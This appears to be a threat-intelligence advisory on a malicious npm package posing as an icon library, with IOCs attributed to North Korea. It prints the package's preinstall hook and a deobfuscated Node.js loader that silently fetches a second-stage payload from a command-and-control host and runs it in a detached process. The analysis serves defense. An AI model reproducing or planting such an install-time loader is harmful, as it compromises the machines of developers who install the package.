npm-2025-001 high by Paul Newton

wgu-edu/wgu-icons - DPRK-Linked CloudFront Beacon

Obfuscated Node.js beacon masquerading as a WGU icon library. On install, spawns a hidden detached child process and beacons to a DPRK-attributed CloudFront C2 to pull down a second-stage payload via stdin. Caught by scanner 7 minutes after publication.

Package

Name

@wgu-edu/wgu-icons

Version

31.0.0

Published by

solidshadwsynack

View on NPM

Threat Actor

DPRK / Lazarus Group

Tags

#npm #obfuscation #dprk #cloudfront #beacon

Overview

The package "@wgu-edu/wgu-icons" was published on the 4th of March and consists of only two files: package.json and index.js. The package.json defines a preinstall hook pointing at index.js, which is the sole delivery mechanism. Use of pre/post install scripts to drop beacons is extremely common in malicious NPM packages.

package.json — preinstall hook

{
  "name": "@wgu-edu/wgu-icons",
  "version": "31.0.0",
  "description": "icons",
  "main": "index.js",
  "scripts": {
    "preinstall": "node index.js"
  },
  "author": "",
  "license": "ISC"
}

Obfuscated Payload (index.js)

The contents of index.js triggered the scanner's obfuscation rules. The code uses the javascript-obfuscator tool which encrypts all string literals into a shuffled array, then emits a self-rotating decoder using while(!![]) as its infinite loop construct. The scanner also matched on the spawning of a child process — a very common technique in malicious NPM packages.

Deobfuscated payload

const https = require('https');
const { spawn } = require('child_process');

// Spawn a detached child Node.js process reading from stdin
const child = spawn(process.execPath, ['-'], {
    detached: true,
    stdio: ['pipe', 'ignore', 'ignore'],  // stdout/stderr silenced
    windowsHide: true
});

// Reach out to C2
const req = https.get({
    hostname: 'd38u852ncr1ov2[.]cloudfront[.]net',
    port: 443,
    path: '/page?id=e9065329&3',
    method: 'GET',
    headers: { 'User-Agent': 'Mozilla/5.0 (Macintosh...) Safari/605.1.15' }
}, (response) => {
    if (response.statusCode !== 200) {
        child.kill();
        process.exit(0);
    }
    // Pipe the remote payload directly into the child process's stdin
    response.pipe(child.stdin);
    response.on('end', () => {
        child.unref();  // detach from parent — child survives parent exit
        process.exit(0);
    });
});

req.on('error', () => { child.kill(); process.exit(0); });

Package Author

The package author "solidshadwsynack" also published a second package, "@wgu-edu/wgu-core", two days prior to this one. That package contains the exact same payload and is reported to have 274 downloads.

Creator's packages on NPM
Figure 1: Creator's Packages
Package download count
Figure 2: Package Downloads

Domain OSINT

The CloudFront domain was not successfully resolving at time of analysis, even when mimicking the user-agent defined in the payload. However, the domain has appeared elsewhere in malicious samples — it is present as a communicating domain for a malicious binary (SHA-256: 0f67b0ee05151d9ac0279418cfaeb545e4dfd785585f0929962628781c89cd8c). A Chinese cyber security vendor shared a reverse-engineered binary on X.com where the CloudFront domain is hardcoded as a C2. Samples associated with this domain have been attributed to a North Korean threat actor.

CloudFront domain as C2 in reverse-engineered binary
Figure 3: CloudFront Domain as C2 in Reversed Binary

Indicators of Compromise

Malicious Packages

Package Version Author Notes
@wgu-edu/wgu-icons 31.0.0 solidshadwsynack Obfuscated beacon, DPRK-linked C2
@wgu-edu/wgu-core solidshadwsynack Same payload, 274 reported downloads

Domains

Domain Type Context
d38u852ncr1ov2[.]cloudfront[.]net C2 Second-stage payload host; also seen in DPRK-attributed binary

URLs

URL Context
hxxps://d38u852ncr1ov2[.]cloudfront[.]net/page?id=e9065329&3 Second-stage payload delivery endpoint

File Hashes

Hash Type Context
0f67b0ee05151d9ac0279418cfaeb545e4dfd785585f0929962628781c89cd8c SHA-256 Malicious binary communicating with CloudFront C2; DPRK-attributed